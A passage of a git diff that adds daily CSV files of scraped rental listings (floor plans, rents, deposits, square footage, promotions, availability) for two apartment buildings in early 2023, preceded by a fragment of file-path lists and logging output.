'./_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230406.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230407.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230405.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230404.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230403.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230317.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230316.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230328.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230314.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230315.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230329.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230103.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230104.csv'] ======= +# INFO:__main__:Data info appending for file ./_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230108.csv +# INFO:__main__:Data info appending for file ./_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230322.csv +# ... +# INFO:__main__:======= update apt png for APT talisman ======= +# INFO:__main__:Data info appending for file ./_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230108.csv +# INFO:__main__:Data info appending for file ./_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230322.csv +# ... +# INFO:__main__:======= update apt png for APT modera ======= +``` diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230103.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230103.csv new file mode 100644 index 00000000000..496dfa5a4ee --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230103.csv @@ -0,0 +1,12 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230103,talisman,Urban with Kitchen Bar,1 bd / 1 ba,"Starting from $1,921/month",$300,605,"Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",4 Available Details +20230103,talisman,Urban with L or Galley Kitchen,1 bd / 1 ba,"Starting from $1,811/month",$300,578,"Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",Only One Left +20230103,talisman,Urban Plus with Kitchen Bar,1 bd / 1 ba,"Starting from $1,979/month",$300,650,"Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",2 Available Details +20230103,talisman,Traditional One Bedroom,1 bd / 1 ba,"$2,381/month",$300,775,"Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",Only One Left +20230103,talisman,Loft One Bedroom,1 bd / 1 ba,"Starting from $2,242/month",$300,785,"Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",2 Available Details +20230103,talisman,Traditional Two Bedroom,2 bd / 2 ba,"Starting from $3,195/month",$300,"1,131","Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",3 Available Details +20230103,talisman,1x1 Loft Plus,2 bd / 2 ba,—,—,863,"Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",Get Notified Details +20230103,talisman,1x1 Plus,2 bd / 2 ba,—,$300,935,"Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",Get Notified Details +20230103,talisman,Loft Two Bedroom,2 bd / 2 ba,"Starting from $3,885/month",$300,"1,362","Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",2 Available Details +20230103,talisman,Loft Three Bedroom,3 bd / 2 ba,—,$300,"1,521","Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",Get Notified Details +20230103,talisman,2x2 Plus,3 bd / 2 ba,—,$300,"1,362","Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",Get Notified Details diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230104.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230104.csv new file mode 100644 index 00000000000..c810d2233c9 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230104.csv @@ -0,0 +1,12 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230104,talisman,Urban with Kitchen Bar,1 bd / 1 ba,"Starting from $1,914/month",$300,605,"Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",4 Available Details +20230104,talisman,Urban with L or Galley Kitchen,1 bd / 1 ba,"Starting from $1,811/month",$300,578,"Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",Only One Left +20230104,talisman,Urban Plus with Kitchen Bar,1 bd / 1 ba,"Starting from $1,979/month",$300,650,"Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",2 Available Details +20230104,talisman,Traditional One Bedroom,1 bd / 1 ba,"Starting from $2,127/month",$300,775,"Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",Only One Left +20230104,talisman,Loft One Bedroom,1 bd / 1 ba,"Starting from $2,341/month",$300,785,"Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",2 Available Details +20230104,talisman,Traditional Two Bedroom,2 bd / 2 ba,"Starting from $3,220/month",$300,"1,131","Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",3 Available Details +20230104,talisman,1x1 Loft Plus,2 bd / 2 ba,—,—,863,"Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",Get Notified Details +20230104,talisman,1x1 Plus,2 bd / 2 ba,—,$300,935,"Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",Get Notified Details +20230104,talisman,Loft Two Bedroom,2 bd / 2 ba,"Starting from $3,962/month",$300,"1,362","Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",2 Available Details +20230104,talisman,Loft Three Bedroom,3 bd / 2 ba,—,$300,"1,521","Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",Get Notified Details +20230104,talisman,2x2 Plus,3 bd / 2 ba,—,$300,"1,362","Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates",Get Notified Details diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230108.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230108.csv new file mode 100644 index 00000000000..0ef0a51a03d --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230108.csv @@ -0,0 +1,25 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230108,talisman,Urban with Kitchen Bar,1 bd/1 ba,"Starting from $2,052/month",$300,605,"Limited Time Offer: Valid Through : Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates!",Get Notified +20230108,talisman,Traditional One Bedroom,1 bd/1 ba,"$2,362/month",$300,775,"Limited Time Offer: Valid Through : Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates!",Get Notified +20230108,talisman,Loft One Bedroom,1 bd/1 ba,"$2,916/month",$300,785,"Limited Time Offer: Valid Through : Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates!",Get Notified +20230108,talisman,Traditional Two Bedroom,2 bd/2 ba,"Starting from $3,239/month",$300,"1,131","Limited Time Offer: Valid Through : Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates!",Get Notified +20230108,talisman,1x1 Loft Plus,2 bd/2 ba,—,—,863,"Limited Time Offer: Valid Through : Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates!",Get Notified +20230108,talisman,1x1 Plus,2 bd/2 ba,—,$300,935,"Limited Time Offer: Valid Through : Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates!",Get Notified +20230108,talisman,Loft Three Bedroom,3 bd/2 ba,—,$300,"1,521","Limited Time Offer: Valid Through : Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates!",Get Notified +20230108,talisman,2x2 Plus,3 bd/2 ba,—,$300,"1,362","Limited Time Offer: Valid Through : Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates!",Get Notified +20230108,modera,S01,Studio / 1 ba,"Starting from $1,777/month",$300,477+,/,3 Available +20230108,modera,S02,Studio / 1 ba,"Starting from $1,953/month",$300,498+,/,"Available Jan 10, 2023" +20230108,modera,A01,1 bd/1 ba,"Starting from $1,856/month",$300,531,/,"Available Jan 15, 2023" +20230108,modera,A03,1 bd/1 ba,"Starting from $1,950/month",$300,553+,/,"Available Jan 11, 2023" +20230108,modera,A04,1 bd/1 ba,"Starting from $1,991/month",$300,588+,/,Only One Left! +20230108,modera,A05L,1 bd/1 ba,"Starting from $2,366/month",$300,735,/,"Available Jan 16, 2023" +20230108,modera,A06,1 bd/1 ba,"Starting from $2,219/month",$300,606,/,2 Available +20230108,modera,A08,1 bd/1 ba,"Starting from $2,020/month",$300,670,/,Only One Left! +20230108,modera,A09,1 bd/1 ba,"Starting from $2,219/month",$300,640,/,"Available Feb 03, 2023" +20230108,modera,A10,1 bd/1 ba,"Starting from $2,456/month",$300,672+,/,"Available Jan 15, 2023" +20230108,modera,A12,1 bd/1 ba,"Starting from $2,855/month",$300,751+,/,"Available Feb 03, 2023" +20230108,modera,A14D,1 bd/1 ba,"Starting from $2,675/month",$300,777+,/,Only One Left! +20230108,modera,A16D,1 bd/1 ba,"Starting from $2,860/month",$300,882,/,Only One Left! +20230108,modera,B03,2 bd/2 ba,"Starting from $3,356/month",$300,"1,039+",/,2 Available +20230108,modera,B07D,2 bd/2 ba,"Starting from $3,501/month",$300,"1,233",/,Only One Left! +20230108,modera,A05L,1 bd/1 ba,"Starting from $2,366/month",$300,735,/,"Available Jan 16, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230109.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230109.csv new file mode 100644 index 00000000000..285c95cb186 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230109.csv @@ -0,0 +1,25 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230109,talisman,Urban with Kitchen Bar,1 bd/1 ba,"Starting from $2,069/month",$300,605,"Limited Time Offer: Valid Through : Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates!",Get Notified +20230109,talisman,Traditional One Bedroom,1 bd/1 ba,"$2,501/month",$300,775,"Limited Time Offer: Valid Through : Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates!",Get Notified +20230109,talisman,Loft One Bedroom,1 bd/1 ba,"$3,082/month",$300,785,"Limited Time Offer: Valid Through : Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates!",Get Notified +20230109,talisman,Traditional Two Bedroom,2 bd/2 ba,"Starting from $3,389/month",$300,"1,131","Limited Time Offer: Valid Through : Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates!",Get Notified +20230109,talisman,1x1 Loft Plus,2 bd/2 ba,—,—,863,"Limited Time Offer: Valid Through : Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates!",Get Notified +20230109,talisman,1x1 Plus,2 bd/2 ba,—,$300,935,"Limited Time Offer: Valid Through : Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates!",Get Notified +20230109,talisman,Loft Three Bedroom,3 bd/2 ba,—,$300,"1,521","Limited Time Offer: Valid Through : Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates!",Get Notified +20230109,talisman,2x2 Plus,3 bd/2 ba,—,$300,"1,362","Limited Time Offer: Valid Through : Oct 27, 2022 - Jan 31, 2023 8 Weeks Free on Select Homes and Move-In Dates!",Get Notified +20230109,modera,S01,Studio / 1 ba,"Starting from $1,777/month",$300,477+,/,3 Available +20230109,modera,S02,Studio / 1 ba,"Starting from $1,953/month",$300,498+,/,"Available Jan 10, 2023" +20230109,modera,A01,1 bd/1 ba,"Starting from $1,856/month",$300,531,/,"Available Jan 15, 2023" +20230109,modera,A03,1 bd/1 ba,"Starting from $1,950/month",$300,553+,/,"Available Jan 11, 2023" +20230109,modera,A04,1 bd/1 ba,"Starting from $1,991/month",$300,588+,/,Only One Left! +20230109,modera,A05L,1 bd/1 ba,"Starting from $2,366/month",$300,735,/,"Available Jan 16, 2023" +20230109,modera,A06,1 bd/1 ba,"Starting from $2,213/month",$300,606,/,2 Available +20230109,modera,A08,1 bd/1 ba,"Starting from $2,014/month",$300,670,/,Only One Left! +20230109,modera,A09,1 bd/1 ba,"Starting from $2,219/month",$300,640,/,"Available Feb 03, 2023" +20230109,modera,A10,1 bd/1 ba,"Starting from $2,456/month",$300,672+,/,"Available Jan 15, 2023" +20230109,modera,A12,1 bd/1 ba,"Starting from $2,855/month",$300,751+,/,"Available Feb 03, 2023" +20230109,modera,A14D,1 bd/1 ba,"Starting from $2,675/month",$300,777+,/,2 Available +20230109,modera,A16D,1 bd/1 ba,"Starting from $2,852/month",$300,882,/,Only One Left! +20230109,modera,B03,2 bd/2 ba,"Starting from $3,346/month",$300,"1,039+",/,2 Available +20230109,modera,B07D,2 bd/2 ba,"Starting from $3,501/month",$300,"1,233",/,Only One Left! +20230109,modera,A05L,1 bd/1 ba,"Starting from $2,366/month",$300,735,/,"Available Jan 16, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230314.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230314.csv new file mode 100644 index 00000000000..5a149964733 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230314.csv @@ -0,0 +1,18 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230314,modera,S01,Studio / 1 ba,"Starting from $1,812/month",$300,477+,/,Only One Left! +20230314,modera,S01L,Studio / 1 ba,"Starting from $2,715/month",$300,641+,/,"Available Apr 10, 2023" +20230314,modera,A03,1 bd/1 ba,"Starting from $2,071/month",$300,553+,/,Only One Left! +20230314,modera,A05,1 bd/1 ba,"Starting from $2,025/month",$300,596,/,"Available Apr 02, 2023" +20230314,modera,A05L,1 bd/1 ba,"Starting from $2,432/month",$300,735,/,"Available Apr 05, 2023" +20230314,modera,A06,1 bd/1 ba,"Starting from $2,174/month",$300,606,/,Only One Left! +20230314,modera,A07,1 bd/1 ba,"Starting from $2,462/month",$300,634+,/,"Available Mar 22, 2023" +20230314,modera,A09,1 bd/1 ba,"Starting from $2,195/month",$300,640,/,2 Available +20230314,modera,A10,1 bd/1 ba,"Starting from $2,383/month",$300,672+,/,2 Available +20230314,modera,A12,1 bd/1 ba,"Starting from $2,706/month",$300,751+,/,"Available Mar 18, 2023" +20230314,modera,A14D,1 bd/1 ba,"Starting from $2,421/month",$300,777+,/,Only One Left! +20230314,modera,A16D,1 bd/1 ba,"Starting from $2,882/month",$300,882,/,"Available Mar 22, 2023" +20230314,modera,B01,2 bd/2 ba,"Starting from $3,561/month",$300,961,/,Only One Left! +20230314,modera,B03,2 bd/2 ba,"Starting from $3,592/month",$300,"1,039+",/,Only One Left! +20230314,modera,B07D,2 bd/2 ba,"Starting from $3,645/month",$300,"1,233",/,Only One Left! +20230314,modera,S01L,Studio / 1 ba,"Starting from $2,715/month",$300,641+,/,"Available Apr 10, 2023" +20230314,modera,A05L,1 bd/1 ba,"Starting from $2,432/month",$300,735,/,"Available Apr 05, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230315.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230315.csv new file mode 100644 index 00000000000..9ba96d8bba9 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230315.csv @@ -0,0 +1,19 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230315,modera,S01,Studio / 1 ba,"Starting from $1,821/month",$300,477+,/,Only One Left! +20230315,modera,S01L,Studio / 1 ba,"Starting from $2,725/month",$300,641+,/,"Available Apr 10, 2023" +20230315,modera,S02,Studio / 1 ba,"Starting from $1,978/month",$300,498+,/,Only One Left! +20230315,modera,A03,1 bd/1 ba,"Starting from $2,071/month",$300,553+,/,Only One Left! +20230315,modera,A05,1 bd/1 ba,"Starting from $2,025/month",$300,596,/,"Available Apr 02, 2023" +20230315,modera,A05L,1 bd/1 ba,"Starting from $2,432/month",$300,735,/,"Available Apr 05, 2023" +20230315,modera,A06,1 bd/1 ba,"Starting from $2,174/month",$300,606,/,Only One Left! +20230315,modera,A07,1 bd/1 ba,"Starting from $2,462/month",$300,634+,/,"Available Mar 22, 2023" +20230315,modera,A09,1 bd/1 ba,"Starting from $2,188/month",$300,640,/,2 Available +20230315,modera,A10,1 bd/1 ba,"Starting from $2,383/month",$300,672+,/,2 Available +20230315,modera,A12,1 bd/1 ba,"Starting from $2,706/month",$300,751+,/,"Available Mar 18, 2023" +20230315,modera,A14D,1 bd/1 ba,"Starting from $2,420/month",$300,777+,/,Only One Left! +20230315,modera,A16D,1 bd/1 ba,"Starting from $2,882/month",$300,882,/,"Available Mar 22, 2023" +20230315,modera,B01,2 bd/2 ba,"Starting from $3,515/month",$300,961,/,Only One Left! +20230315,modera,B03,2 bd/2 ba,"Starting from $3,535/month",$300,"1,039+",/,Only One Left! +20230315,modera,B07D,2 bd/2 ba,"Starting from $3,603/month",$300,"1,233",/,Only One Left! +20230315,modera,S01L,Studio / 1 ba,"Starting from $2,725/month",$300,641+,/,"Available Apr 10, 2023" +20230315,modera,A05L,1 bd/1 ba,"Starting from $2,432/month",$300,735,/,"Available Apr 05, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230316.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230316.csv new file mode 100644 index 00000000000..8f526bc5b0d --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230316.csv @@ -0,0 +1,18 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230316,modera,S01L,Studio / 1 ba,"Starting from $2,725/month",$300,641+,/,"Available Apr 10, 2023" +20230316,modera,S02,Studio / 1 ba,"Starting from $1,978/month",$300,498+,/,Only One Left! +20230316,modera,A03,1 bd/1 ba,"Starting from $2,071/month",$300,553+,/,Only One Left! +20230316,modera,A05,1 bd/1 ba,"Starting from $2,025/month",$300,596,/,"Available Apr 02, 2023" +20230316,modera,A05L,1 bd/1 ba,"Starting from $2,432/month",$300,735,/,"Available Apr 05, 2023" +20230316,modera,A06,1 bd/1 ba,"Starting from $2,174/month",$300,606,/,Only One Left! +20230316,modera,A07,1 bd/1 ba,"Starting from $2,462/month",$300,634+,/,"Available Mar 22, 2023" +20230316,modera,A09,1 bd/1 ba,"Starting from $2,181/month",$300,640,/,2 Available +20230316,modera,A10,1 bd/1 ba,"Starting from $2,383/month",$300,672+,/,Only One Left! +20230316,modera,A12,1 bd/1 ba,"Starting from $2,706/month",$300,751+,/,"Available Mar 18, 2023" +20230316,modera,A14D,1 bd/1 ba,"Starting from $2,412/month",$300,777+,/,Only One Left! +20230316,modera,A16D,1 bd/1 ba,"Starting from $2,882/month",$300,882,/,"Available Mar 22, 2023" +20230316,modera,B01,2 bd/2 ba,"Starting from $3,515/month",$300,961,/,Only One Left! +20230316,modera,B03,2 bd/2 ba,"Starting from $3,522/month",$300,"1,039+",/,Only One Left! +20230316,modera,B07D,2 bd/2 ba,"Starting from $3,603/month",$300,"1,233",/,Only One Left! +20230316,modera,S01L,Studio / 1 ba,"Starting from $2,725/month",$300,641+,/,"Available Apr 10, 2023" +20230316,modera,A05L,1 bd/1 ba,"Starting from $2,432/month",$300,735,/,"Available Apr 05, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230317.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230317.csv new file mode 100644 index 00000000000..a236f381acd --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230317.csv @@ -0,0 +1,18 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230317,modera,S01L,Studio / 1 ba,"Starting from $2,725/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230317,modera,S02,Studio / 1 ba,"Starting from $1,978/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230317,modera,A03,1 bd/1 ba,"Starting from $2,071/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230317,modera,A05,1 bd/1 ba,"Starting from $2,025/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230317,modera,A05L,1 bd/1 ba,"Starting from $2,432/month",$300,735,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230317,modera,A06,1 bd/1 ba,"Starting from $2,174/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230317,modera,A07,1 bd/1 ba,"Starting from $2,462/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230317,modera,A09,1 bd/1 ba,"Starting from $2,174/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230317,modera,A10,1 bd/1 ba,"Starting from $2,383/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230317,modera,A12,1 bd/1 ba,"Starting from $2,706/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230317,modera,A14D,1 bd/1 ba,"Starting from $2,404/month",$300,777+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230317,modera,A16D,1 bd/1 ba,"Starting from $2,882/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230317,modera,B01,2 bd/2 ba,"Starting from $3,515/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230317,modera,B03,2 bd/2 ba,"Starting from $3,509/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230317,modera,B07D,2 bd/2 ba,"Starting from $3,603/month",$300,"1,233",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230317,modera,S01L,Studio / 1 ba,"Starting from $2,725/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230317,modera,A05L,1 bd/1 ba,"Starting from $2,432/month",$300,735,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230318.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230318.csv new file mode 100644 index 00000000000..42954d82bb8 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230318.csv @@ -0,0 +1,18 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230318,modera,S01L,Studio / 1 ba,"Starting from $2,725/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230318,modera,S02,Studio / 1 ba,"Starting from $1,978/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230318,modera,A03,1 bd/1 ba,"Starting from $2,071/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230318,modera,A05,1 bd/1 ba,"Starting from $2,025/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230318,modera,A05L,1 bd/1 ba,"Starting from $2,432/month",$300,735,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230318,modera,A06,1 bd/1 ba,"Starting from $2,174/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230318,modera,A07,1 bd/1 ba,"Starting from $2,462/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230318,modera,A09,1 bd/1 ba,"Starting from $2,167/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230318,modera,A10,1 bd/1 ba,"Starting from $2,383/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230318,modera,A12,1 bd/1 ba,"Starting from $2,706/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230318,modera,A14D,1 bd/1 ba,"Starting from $2,399/month",$300,777+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230318,modera,A16D,1 bd/1 ba,"Starting from $2,882/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230318,modera,B01,2 bd/2 ba,"Starting from $3,515/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230318,modera,B03,2 bd/2 ba,"Starting from $3,496/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230318,modera,B07D,2 bd/2 ba,"Starting from $3,603/month",$300,"1,233",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230318,modera,S01L,Studio / 1 ba,"Starting from $2,725/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230318,modera,A05L,1 bd/1 